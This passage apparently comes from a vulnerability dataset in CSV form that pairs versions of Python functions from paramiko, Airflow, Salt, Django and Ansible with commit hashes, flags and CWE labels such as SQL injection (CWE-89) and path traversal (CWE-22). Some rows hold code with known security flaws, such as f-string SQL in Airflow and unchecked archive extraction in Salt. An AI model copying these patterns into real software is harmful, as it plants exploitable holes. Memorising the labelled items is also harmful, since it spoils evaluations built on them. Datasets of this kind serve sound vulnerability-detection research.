            log.info(""Not enough fields found in known_hosts in line %s (%r)"" %
                     (lineno, line))
            return None
        fields = fields[:3]

        names, keytype, key = fields
        names = names.split(',')

        # Decide what kind of key we're looking at and create an object
        # to hold it accordingly.
        try:
            key = b(key)
            if keytype == 'ssh-rsa':
                key = RSAKey(data=base64.decodestring(key))
            elif keytype == 'ssh-dss':
                key = DSSKey(data=base64.decodestring(key))
            elif keytype == 'ecdsa-sha2-nistp256':
                key = ECDSAKey(data=base64.decodestring(key))
            else:
                log.info(""Unable to handle key of type %s"" % (keytype,))
                return None

        except binascii.Error:
            raise InvalidHostKey(line, sys.exc_info()[1])

        return cls(names, key)",,paramiko/paramiko,fcf56ff9f85653e48db929b4a60460beabad24de,"def from_line(cls, line, lineno=None):
        """"""
        Parses the given line of text to find the names for the host,
        the type of key, and the key data. The line is expected to be in the
        format used by the openssh known_hosts file.

        Lines are expected to not have leading or trailing whitespace.
        We don't bother to check for comments or empty lines.  All of
        that should be taken care of before sending the line to us.

        @param line: a line from an OpenSSH known_hosts file
        @type line: str
        """"""
        log = get_logger('paramiko.hostkeys')
        fields = line.split(' ')
        if len(fields) < 3:
            # Bad number of fields
            log.info(""Not enough fields found in known_hosts in line %s (%r)"" %
                     (lineno, line))
            return None
        fields = fields[:3]

        names, keytype, key = fields
        names = names.split(',')

        # Decide what kind of key we're looking at and create an object
        # to hold it accordingly.
        try:
            if keytype == 'ssh-rsa':
                key = RSAKey(data=base64.decodestring(key))
            elif keytype == 'ssh-dss':
                key = DSSKey(data=base64.decodestring(key))
            elif keytype == 'ecdsa-sha2-nistp256':
                key = ECDSAKey(data=base64.decodestring(key))
            else:
                log.info(""Unable to handle key of type %s"" % (keytype,))
                return None

        except binascii.Error:
            raise InvalidHostKey(line, sys.exc_info()[1])

        return cls(names, key)"
,UNKNOWN,UNKNOWN,airflow/utils/db.py,1,"def _move_dangling_data_to_new_table(
    session, source_table: ""Table"", source_query: ""Query"", target_table_name: str
):
    from sqlalchemy import column, select, table
    from sqlalchemy.sql.selectable import Join

    bind = session.get_bind()
    dialect_name = bind.dialect.name

    # First: Create moved rows from new table
    if dialect_name == ""mssql"":
        cte = source_query.cte(""source"")
        moved_data_tbl = table(target_table_name, *(column(c.name) for c in cte.columns))
        ins = moved_data_tbl.insert().from_select(list(cte.columns), select([cte]))

        stmt = ins.compile(bind=session.get_bind())
        cte_sql = stmt.ctes[cte]

        session.execute(f""WITH {cte_sql} SELECT source.* INTO {target_table_name} FROM source"")
    elif dialect_name == ""mysql"":
        # MySQL with replication needs this split in to two queries, so just do it for all MySQL
        # ERROR 1786 (HY000): Statement violates GTID consistency: CREATE TABLE ... SELECT.
        session.execute(f""CREATE TABLE {target_table_name} LIKE {source_table.name}"")
        session.execute(
            f""INSERT INTO {target_table_name} {source_query.selectable.compile(bind=session.get_bind())}""
        )
    else:
        # Postgres and SQLite both support the same ""CREATE TABLE a AS SELECT ..."" syntax
        session.execute(
            f""CREATE TABLE {target_table_name} AS {source_query.selectable.compile(bind=session.get_bind())}""
        )

    # Second: Now delete rows we've moved
    try:
        clause = source_query.whereclause
    except AttributeError:
        clause = source_query._whereclause

    if dialect_name == ""sqlite"":
        subq = source_query.selectable.with_only_columns([text(f'{source_table}.ROWID')])
        delete = source_table.delete().where(column('ROWID').in_(subq))
    elif dialect_name in (""mysql"", ""mssql""):
        # This is not foolproof! But it works for the limited queries (with no params) that we use here
        stmt = source_query.selectable

        def _from_name(from_) -> str:
            if isinstance(from_, Join):
                return str(from_.compile(bind=bind))
            return str(from_)

        delete = (
            f""DELETE {source_table} FROM { ', '.join(_from_name(tbl) for tbl in stmt.froms) }""
            f"" WHERE {clause.compile(bind=bind)}""
        )
    else:
        for frm in source_query.selectable.froms:
            if hasattr(frm, 'onclause'):  # Table, or JOIN?
                clause &= frm.onclause
        delete = source_table.delete(clause)
    session.execute(delete)",CWE-89,apache/airflow,07ea9fcaa10fc1a8c43ef5f627360d4adb12115a,"def _move_dangling_data_to_new_table(
    session, source_table: ""Table"", source_query: ""Query"", target_table_name: str
):
    from sqlalchemy import column, select, table
    from sqlalchemy.sql.selectable import Join

    bind = session.get_bind()
    dialect_name = bind.dialect.name

    # First: Create moved rows from new table
    if dialect_name == ""mssql"":
        cte = source_query.cte(""source"")
        moved_data_tbl = table(target_table_name, *(column(c.name) for c in cte.columns))
        ins = moved_data_tbl.insert().from_select(list(cte.columns), select([cte]))

        stmt = ins.compile(bind=session.get_bind())
        cte_sql = stmt.ctes[cte]

        session.execute(f""WITH {cte_sql} SELECT source.* INTO {target_table_name} FROM source"")
    else:
        # Postgres, MySQL and SQLite all support the same ""create as select""
        session.execute(
            f""CREATE TABLE {target_table_name} AS {source_query.selectable.compile(bind=session.get_bind())}""
        )

    # Second: Now delete rows we've moved
    try:
        clause = source_query.whereclause
    except AttributeError:
        clause = source_query._whereclause

    if dialect_name == ""sqlite"":
        subq = source_query.selectable.with_only_columns([text(f'{source_table}.ROWID')])
        delete = source_table.delete().where(column('ROWID').in_(subq))
    elif dialect_name in (""mysql"", ""mssql""):
        # This is not foolproof! But it works for the limited queries (with no params) that we use here
        stmt = source_query.selectable

        def _from_name(from_) -> str:
            if isinstance(from_, Join):
                return str(from_.compile(bind=bind))
            return str(from_)

        delete = (
            f""DELETE {source_table} FROM { ', '.join(_from_name(tbl) for tbl in stmt.froms) }""
            f"" WHERE {clause.compile(bind=bind)}""
        )
    else:
        for frm in source_query.selectable.froms:
            if hasattr(frm, 'onclause'):  # Table, or JOIN?
                clause &= frm.onclause
        delete = source_table.delete(clause)
    session.execute(delete)"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/agent.py,0,"def __init__(self):
        """"""
        Open a session with the local machine's SSH agent, if one is running.
        If no agent is running, initialization will succeed, but L{get_keys}
        will return an empty tuple.
        
        @raise SSHException: if an SSH agent is found, but speaks an
            incompatible protocol
        """"""
        self.conn = None
        self.keys = ()
        if ('SSH_AUTH_SOCK' in os.environ) and (sys.platform != 'win32'):
            conn = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
            try:
                conn.connect(os.environ['SSH_AUTH_SOCK'])
            except:
                # probably a dangling env var: the ssh agent is gone
                return
            self.conn = conn
        elif sys.platform == 'win32':
            import win_pageant
            if win_pageant.can_talk_to_agent():
                self.conn = win_pageant.PageantConnection()
            else:
                return
        else:
            # no agent support
            return
            
        ptype, result = self._send_message(chr(SSH2_AGENTC_REQUEST_IDENTITIES))
        if ptype != SSH2_AGENT_IDENTITIES_ANSWER:
            raise SSHException('could not get keys from ssh-agent')
        keys = []
        for i in range(result.get_int()):
            keys.append(AgentKey(self, result.get_string()))
            result.get_string()
        self.keys = tuple(keys)",,paramiko/paramiko,afae8dd7c59dbe2d1b3f8650d6f826290de306cb,"def __init__(self):
        """"""
        Open a session with the local machine's SSH agent, if one is running.
        If no agent is running, initialization will succeed, but L{get_keys}
        will return an empty tuple.
        
        @raise SSHException: if an SSH agent is found, but speaks an
            incompatible protocol
        """"""
        self.keys = ()
        if ('SSH_AUTH_SOCK' in os.environ) and (sys.platform != 'win32'):
            conn = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
            try:
                conn.connect(os.environ['SSH_AUTH_SOCK'])
            except:
                # probably a dangling env var: the ssh agent is gone
                return
            self.conn = conn
        elif sys.platform == 'win32':
            import win_pageant
            if win_pageant.can_talk_to_agent():
                self.conn = win_pageant.PageantConnection()
            else:
                return
        else:
            # no agent support
            return
            
        ptype, result = self._send_message(chr(SSH2_AGENTC_REQUEST_IDENTITIES))
        if ptype != SSH2_AGENT_IDENTITIES_ANSWER:
            raise SSHException('could not get keys from ssh-agent')
        keys = []
        for i in range(result.get_int()):
            keys.append(AgentKey(self, result.get_string()))
            result.get_string()
        self.keys = tuple(keys)"
,UNKNOWN,UNKNOWN,salt/states/archive.py,1,"def extracted(name,
              source,
              archive_format,
              archive_user=None,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - tar_options: v
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    archive_user:
        user to extract files as

    if_missing
        Some archives, such as tar, extract themselves in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Required if used with ``archive_format: tar``, otherwise optional.
        It needs to be the tar argument specific to the archive being extracted,
        such as 'J' for LZMA or 'v' to verbosely list files processed.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c and -f/--file
        **should not be used** here.
        If ``archive_format`` is ``zip`` or ``rar`` and this option is not set,
        then the Python tarfile module is used. The tarfile module supports gzip
        and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valid formats are: {1}'.format(
            archive_format, ','.join(valid_archives))
        return ret

    if not name.endswith('/'):
        name += '/'

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            '{0}.{1}'.format(if_missing.replace('/', '_'),
                                             archive_format))
    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would have been downloaded in cache'.format(source)
            return ret

        log.debug('Archive file {0} is not in cache, download it'.format(source))
        file_result = __salt__['state.single']('file.managed',
                                               filename,
                                               source=source,
                                               source_hash=source_hash,
                                               makedirs=True,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        try:
            file_result = file_result[next(file_result.iterkeys())]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source))
                return file_result
    else:
        log.debug('Archive file {0} is already in cache'.format(name))

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Archive {0} would have been extracted in {1}'.format(
            source, name)
        return ret

    __salt__['file.makedirs'](name, user=archive_user)

    log.debug('Extract {0} in {1}'.format(filename, name))
    if archive_format == 'zip':
        files = __salt__['archive.unzip'](filename, name)
    elif archive_format == 'rar':
        files = __salt__['archive.unrar'](filename, name)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            tar_opts = tar_options.split(' ')

            tar_cmd = ['tar']
            tar_shortopts = 'x'
            tar_longopts = []

            for position, opt in enumerate(tar_opts):
                if opt.startswith('-'):
                    tar_longopts.append(opt)
                else:
                    if position > 0:
                        tar_longopts.append(opt)
                    else:
                        append_opt = opt
                        append_opt = append_opt.replace('x', '').replace('f', '')
                        tar_shortopts = tar_shortopts + append_opt

            tar_cmd.append(tar_shortopts)
            tar_cmd.extend(tar_longopts)
            tar_cmd.extend(['-f', filename])

            results = __salt__['cmd.run_all'](tar_cmd, cwd=name, python_shell=False)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if __salt__['cmd.retcode']('tar --version | grep bsdtar', python_shell=True) == 0:
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'

    if archive_user:
        # Recursively set the permissions after extracting as we might not have
        # access to the cachedir
        dir_result = __salt__['state.single']('file.directory',
                                               name,
                                               user=archive_user,
                                               recurse=['user'])
        log.debug('file.directory: {0}'.format(dir_result))

    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        if if_missing != name:
            ret['changes']['directories_created'].append(if_missing)
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted in {1}'.format(source, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source)
    return ret",CWE-22,saltstack/salt,a37246692202a976ebd4878d9dbaad9078ee2daf,"def extracted(name,
              source,
              archive_format,
              archive_user=None,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    .. code-block:: yaml

        graylog2-server:
          archive.extracted:
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - tar_options: v
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    archive_user:
        user to extract files as

    if_missing
        Some archives, such as tar, extract themselves in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Required if used with ``archive_format: tar``, otherwise optional.
        It needs to be the tar argument specific to the archive being extracted,
        such as 'J' for LZMA or 'v' to verbosely list files processed.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c and -f/--file
        **should not be used** here.
        If ``archive_format`` is ``zip`` or ``rar`` and this option is not set,
        then the Python tarfile module is used. The tarfile module supports gzip
        and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valid formats are: {1}'.format(
            archive_format, ','.join(valid_archives))
        return ret

    if not name.endswith('/'):
        name += '/'

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            '{0}.{1}'.format(if_missing.replace('/', '_'),
                                             archive_format))
    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would have been downloaded in cache'.format(source)
            return ret

        log.debug('Archive file {0} is not in cache, download it'.format(source))
        file_result = __salt__['state.single']('file.managed',
                                               filename,
                                               source=source,
                                               source_hash=source_hash,
                                               makedirs=True,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        try:
            file_result = file_result[next(file_result.iterkeys())]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source))
                return file_result
    else:
        log.debug('Archive file {0} is already in cache'.format(name))

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Archive {0} would have been extracted in {1}'.format(
            source, name)
        return ret

    __salt__['file.makedirs'](name, user=archive_user)

    log.debug('Extract {0} in {1}'.format(filename, name))
    if archive_format == 'zip':
        files = __salt__['archive.cmd_unzip'](filename, name)
    elif archive_format == 'rar':
        files = __salt__['archive.unrar'](filename, name)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            tar_opts = tar_options.split(' ')

            tar_cmd = ['tar']
            tar_shortopts = 'x'
            tar_longopts = []

            for position, opt in enumerate(tar_opts):
                if opt.startswith('-'):
                    tar_longopts.append(opt)
                else:
                    if position > 0:
                        tar_longopts.append(opt)
                    else:
                        append_opt = opt
                        append_opt = append_opt.replace('x', '').replace('f', '')
                        tar_shortopts = tar_shortopts + append_opt

            tar_cmd.append(tar_shortopts)
            tar_cmd.extend(tar_longopts)
            tar_cmd.extend(['-f', filename])

            results = __salt__['cmd.run_all'](tar_cmd, cwd=name, python_shell=False)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if __salt__['cmd.retcode']('tar --version | grep bsdtar', python_shell=True) == 0:
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'

    if archive_user:
        # Recursively set the permissions after extracting as we might not have
        # access to the cachedir
        dir_result = __salt__['state.single']('file.directory',
                                               name,
                                               user=archive_user,
                                               recurse=['user'])
        log.debug('file.directory: {0}'.format(dir_result))

    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        if if_missing != name:
            ret['changes']['directories_created'].append(if_missing)
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted in {1}'.format(source, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source)
    return ret"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/forms/models.py,0,"def construct_instance(form, instance, fields=None, exclude=None):
    """"""
    Construct and return a model instance from the bound ``form``'s
    ``cleaned_data``, but do not save the returned instance to the database.
    """"""
    from django.db import models
    opts = instance._meta

    cleaned_data = form.cleaned_data
    file_field_list = []
    for f in opts.fields:
        if not f.editable or isinstance(f, models.AutoField) \
                or f.name not in cleaned_data:
            continue
        if fields is not None and f.name not in fields:
            continue
        if exclude and f.name in exclude:
            continue
        # Leave defaults for fields that aren't in POST data, except for
        # checkbox inputs because they don't appear in POST data if not checked.
        if (
            f.has_default() and
            form[f.name].field.widget.value_omitted_from_data(form.data, form.files, form.add_prefix(f.name)) and
            cleaned_data.get(f.name) in form[f.name].field.empty_values
        ):
            continue
        # Defer saving file-type fields until after the other fields, so a
        # callable upload_to can use the values from other fields.
        if isinstance(f, models.FileField):
            file_field_list.append(f)
        else:
            f.save_form_data(instance, cleaned_data[f.name])

    for f in file_field_list:
        f.save_form_data(instance, cleaned_data[f.name])

    return instance",CWE-Unknown,django/django,aa94f7c899b98f547fc1d26797ba892c38eaf415,"def construct_instance(form, instance, fields=None, exclude=None):
    """"""
    Construct and return a model instance from the bound ``form``'s
    ``cleaned_data``, but do not save the returned instance to the database.
    """"""
    from django.db import models
    opts = instance._meta

    cleaned_data = form.cleaned_data
    file_field_list = []
    for f in opts.fields:
        if not f.editable or isinstance(f, models.AutoField) \
                or f.name not in cleaned_data:
            continue
        if fields is not None and f.name not in fields:
            continue
        if exclude and f.name in exclude:
            continue
        # Leave defaults for fields that aren't in POST data, except for
        # checkbox inputs because they don't appear in POST data if not checked.
        if (f.has_default() and
                form[f.name].field.widget.value_omitted_from_data(form.data, form.files, form.add_prefix(f.name))):
            continue
        # Defer saving file-type fields until after the other fields, so a
        # callable upload_to can use the values from other fields.
        if isinstance(f, models.FileField):
            file_field_list.append(f)
        else:
            f.save_form_data(instance, cleaned_data[f.name])

    for f in file_field_list:
        f.save_form_data(instance, cleaned_data[f.name])

    return instance"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/backends/base/schema.py,0,"def _iter_column_sql(
        self, column_db_type, params, model, field, field_db_params, include_default
    ):
        yield column_db_type
        if collation := field_db_params.get(""collation""):
            yield self._collate_sql(collation)
        # Work out nullability.
        null = field.null
        # Add database default.
        if field.has_db_default():
            default_sql, default_params = self.db_default_sql(field)
            yield f""DEFAULT {default_sql}""
            params.extend(default_params)
            include_default = False
        # Include a default value, if requested.
        include_default = (
            include_default
            and not self.skip_default(field)
            and
            # Don't include a default value if it's a nullable field and the
            # default cannot be dropped in the ALTER COLUMN statement (e.g.
            # MySQL longtext and longblob).
            not (null and self.skip_default_on_alter(field))
        )
        if include_default:
            default_value = self.effective_default(field)
            if default_value is not None:
                column_default = ""DEFAULT "" + self._column_default_sql(field)
                if self.connection.features.requires_literal_defaults:
                    # Some databases can't take defaults as a parameter
                    # (Oracle, SQLite). If this is the case, the individual
                    # schema backend should implement prepare_default().
                    yield column_default % self.prepare_default(default_value)
                else:
                    yield column_default
                    params.append(default_value)
        # Oracle treats the empty string ('') as null, so coerce the null
        # option whenever '' is a possible value.
        if (
            field.empty_strings_allowed
            and not field.primary_key
            and self.connection.features.interprets_empty_strings_as_nulls
        ):
            null = True
        if field.generated:
            generated_sql, generated_params = self._column_generated_sql(field)
            params.extend(generated_params)
            yield generated_sql
        elif not null:
            yield ""NOT NULL""
        elif not self.connection.features.implied_column_null:
            yield ""NULL""
        if field.primary_key:
            yield ""PRIMARY KEY""
        elif field.unique:
            yield ""UNIQUE""
        # Optionally add the tablespace if it's an implicitly indexed column.
        tablespace = field.db_tablespace or model._meta.db_tablespace
        if (
            tablespace
            and self.connection.features.supports_tablespaces
            and field.unique
        ):
            yield self.connection.ops.tablespace_sql(tablespace, inline=True)
        if self.connection.features.supports_comments_inline and field.db_comment:
            yield self._comment_sql(field.db_comment)",CWE-Unknown,django/django,f7017db92cee1536c014710f475a613792c1e4b5,"def _iter_column_sql(
        self, column_db_type, params, model, field, field_db_params, include_default
    ):
        yield column_db_type
        if collation := field_db_params.get(""collation""):
            yield self._collate_sql(collation)
        if self.connection.features.supports_comments_inline and field.db_comment:
            yield self._comment_sql(field.db_comment)
        # Work out nullability.
        null = field.null
        # Add database default.
        if field.has_db_default():
            default_sql, default_params = self.db_default_sql(field)
            yield f""DEFAULT {default_sql}""
            params.extend(default_params)
            include_default = False
        # Include a default value, if requested.
        include_default = (
            include_default
            and not self.skip_default(field)
            and
            # Don't include a default value if it's a nullable field and the
            # default cannot be dropped in the ALTER COLUMN statement (e.g.
            # MySQL longtext and longblob).
            not (null and self.skip_default_on_alter(field))
        )
        if include_default:
            default_value = self.effective_default(field)
            if default_value is not None:
                column_default = ""DEFAULT "" + self._column_default_sql(field)
                if self.connection.features.requires_literal_defaults:
                    # Some databases can't take defaults as a parameter
                    # (Oracle, SQLite). If this is the case, the individual
                    # schema backend should implement prepare_default().
                    yield column_default % self.prepare_default(default_value)
                else:
                    yield column_default
                    params.append(default_value)
        # Oracle treats the empty string ('') as null, so coerce the null
        # option whenever '' is a possible value.
        if (
            field.empty_strings_allowed
            and not field.primary_key
            and self.connection.features.interprets_empty_strings_as_nulls
        ):
            null = True
        if field.generated:
            generated_sql, generated_params = self._column_generated_sql(field)
            params.extend(generated_params)
            yield generated_sql
        elif not null:
            yield ""NOT NULL""
        elif not self.connection.features.implied_column_null:
            yield ""NULL""
        if field.primary_key:
            yield ""PRIMARY KEY""
        elif field.unique:
            yield ""UNIQUE""
        # Optionally add the tablespace if it's an implicitly indexed column.
        tablespace = field.db_tablespace or model._meta.db_tablespace
        if (
            tablespace
            and self.connection.features.supports_tablespaces
            and field.unique
        ):
            yield self.connection.ops.tablespace_sql(tablespace, inline=True)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/ios/ios_config.py,0,"def main():
    """""" main entry point for module execution
    """"""
    argument_spec = dict(
        src=dict(type='path'),

        lines=dict(aliases=['commands'], type='list'),
        parents=dict(type='list'),

        before=dict(type='list'),
        after=dict(type='list'),

        match=dict(default='line', choices=['line', 'strict', 'exact', 'none']),
        replace=dict(default='line', choices=['line', 'block']),
        multiline_delimiter=dict(default='@'),

        running_config=dict(aliases=['config']),
        intended_config=dict(),

        defaults=dict(type='bool', default=False),
        backup=dict(type='bool', default=False),

        save_when=dict(choices=['always', 'never', 'modified'], default='never'),

        diff_against=dict(choices=['startup', 'intended', 'running']),
        diff_ignore_lines=dict(type='list'),

        # save is deprecated as of ans2.4, use save_when instead
        save=dict(default=False, type='bool', removed_in_version='2.4'),

        # force argument deprecated in ans2.2
        force=dict(default=False, type='bool', removed_in_version='2.2')
    )

    argument_spec.update(ios_argument_spec)

    mutually_exclusive = [('lines', 'src'),
                          ('save', 'save_when')]

    required_if = [('match', 'strict', ['lines']),
                   ('match', 'exact', ['lines']),
                   ('replace', 'block', ['lines']),
                   ('diff_against', 'intended', ['intended_config'])]

    module = AnsibleModule(argument_spec=argument_spec,
                           mutually_exclusive=mutually_exclusive,
                           required_if=required_if,
                           supports_check_mode=True)

    result = {'changed': False}

    warnings = list()
    check_args(module, warnings)
    result['warnings'] = warnings

    config = None

    if module.params['backup'] or (module._diff and module.params['diff_against'] == 'running'):
        contents = get_config(module)
        config = NetworkConfig(indent=1, contents=contents)
        if module.params['backup']:
            result['__backup__'] = contents

    if any((module.params['lines'], module.params['src'])):
        match = module.params['match']
        replace = module.params['replace']
        path = module.params['parents']

        candidate, want_banners = get_candidate(module)

        if match != 'none':
            config, have_banners = get_running_config(module, config)
            path = module.params['parents']
            configobjs = candidate.difference(config, path=path, match=match, replace=replace)
        else:
            configobjs = candidate.items
            have_banners = {}

        banners = diff_banners(want_banners, have_banners)

        if configobjs or banners:
            commands = dumps(configobjs, 'commands').split('\n')

            if module.params['before']:
                commands[:0] = module.params['before']

            if module.params['after']:
                commands.extend(module.params['after'])

            result['commands'] = commands
            result['updates'] = commands
            result['banners'] = banners

            # send the configuration commands to the device and merge
            # them with the current running config
            if not module.check_mode:
                if commands:
                    load_config(module, commands)
                if banners:
                    load_banners(module, banners)

            result['changed'] = True

    running_config = None
    startup_config = None

    diff_ignore_lines = module.params['diff_ignore_lines']

    if module.params['save_when'] != 'never':
        output = run_commands(module, ['show running-config', 'show startup-config'])

        running_config = NetworkConfig(indent=1, contents=output[0], ignore_lines=diff_ignore_lines)
        startup_config = NetworkConfig(indent=1, contents=output[1], ignore_lines=diff_ignore_lines)

        if running_config.sha1 != startup_config.sha1 or module.params['save_when'] == 'always':
            result['changed'] = True
            if not module.check_mode:
                run_commands(module, 'copy running-config startup-config\r')
            else:
                module.warn('Skipping command `copy running-config startup-config` '
                            'due to check_mode.  Configuration not copied to '
                            'non-volatile storage')

    if module._diff:
        if not running_config:
            output = run_commands(module, 'show running-config')
            contents = output[0]
        else:
            contents = running_config.config_text

        # recreate the object in order to process diff_ignore_lines
        running_config = NetworkConfig(indent=1, contents=contents, ignore_lines=diff_ignore_lines)

        if module.params['diff_against'] == 'running':
            if module.check_mode:
                module.warn(""unable to perform diff against running-config due to check mode"")
                contents = None
            else:
                contents = config.config_text

        elif module.params['diff_against'] == 'startup':
            if not startup_config:
                output = run_commands(module, 'show startup-config')
                contents = output[0]
            else:
                contents = startup_config.config_text

        elif module.params['diff_against'] == 'intended':
            contents = module.params['intended_config']

        if contents is not None:
            base_config = NetworkConfig(indent=1, contents=contents, ignore_lines=diff_ignore_lines)

            if running_config.sha1 != base_config.sha1:
                result.update({
                    'changed': True,
                    'diff': {'before': str(base_config), 'after': str(running_config)}
                })

    module.exit_json(**result)",,ansible/ansible,5944a447f7f83b6bb1924a60a3d1e6e1173f0ef9,"def main():
    """""" main entry point for module execution
    """"""
    argument_spec = dict(
        src=dict(type='path'),

        lines=dict(aliases=['commands'], type='list'),
        parents=dict(type='list'),

        before=dict(type='list'),
        after=dict(type='list'),

        match=dict(default='line', choices=['line', 'strict', 'exact', 'none']),
        replace=dict(default='line', choices=['line', 'block']),
        multiline_delimiter=dict(default='@'),

        running_config=dict(aliases=['config']),
        intended_config=dict(),

        defaults=dict(type='bool', default=False),
        backup=dict(type='bool', default=False),

        save_when=dict(choices=['always', 'never', 'modified'], default='never'),

        diff_against=dict(choices=['startup', 'intended', 'running']),
        diff_ignore_lines=dict(type='list'),

        # save is deprecated as of ans2.4, use save_when instead
        save=dict(default=False, type='bool', removed_in_version='2.4'),

        # force argument deprecated in ans2.2
        force=dict(default=False, type='bool', removed_in_version='2.2')
    )

    argument_spec.update(ios_argument_spec)

    mutually_exclusive = [('lines', 'src'),
                          ('save', 'save_when')]

    required_if = [('match', 'strict', ['lines']),
                   ('match', 'exact', ['lines']),
                   ('replace', 'block', ['lines']),
                   ('diff_against', 'intended', ['intended_config'])]

    module = AnsibleModule(argument_spec=argument_spec,
                           mutually_exclusive=mutually_exclusive,
                           required_if=required_if,
                           supports_check_mode=True)

    result = {'changed': False}

    warnings = list()
    check_args(module, warnings)
    result['warnings'] = warnings

    config = None

    if module.params['backup'] or (module._diff and module.params['diff_against'] == 'running'):
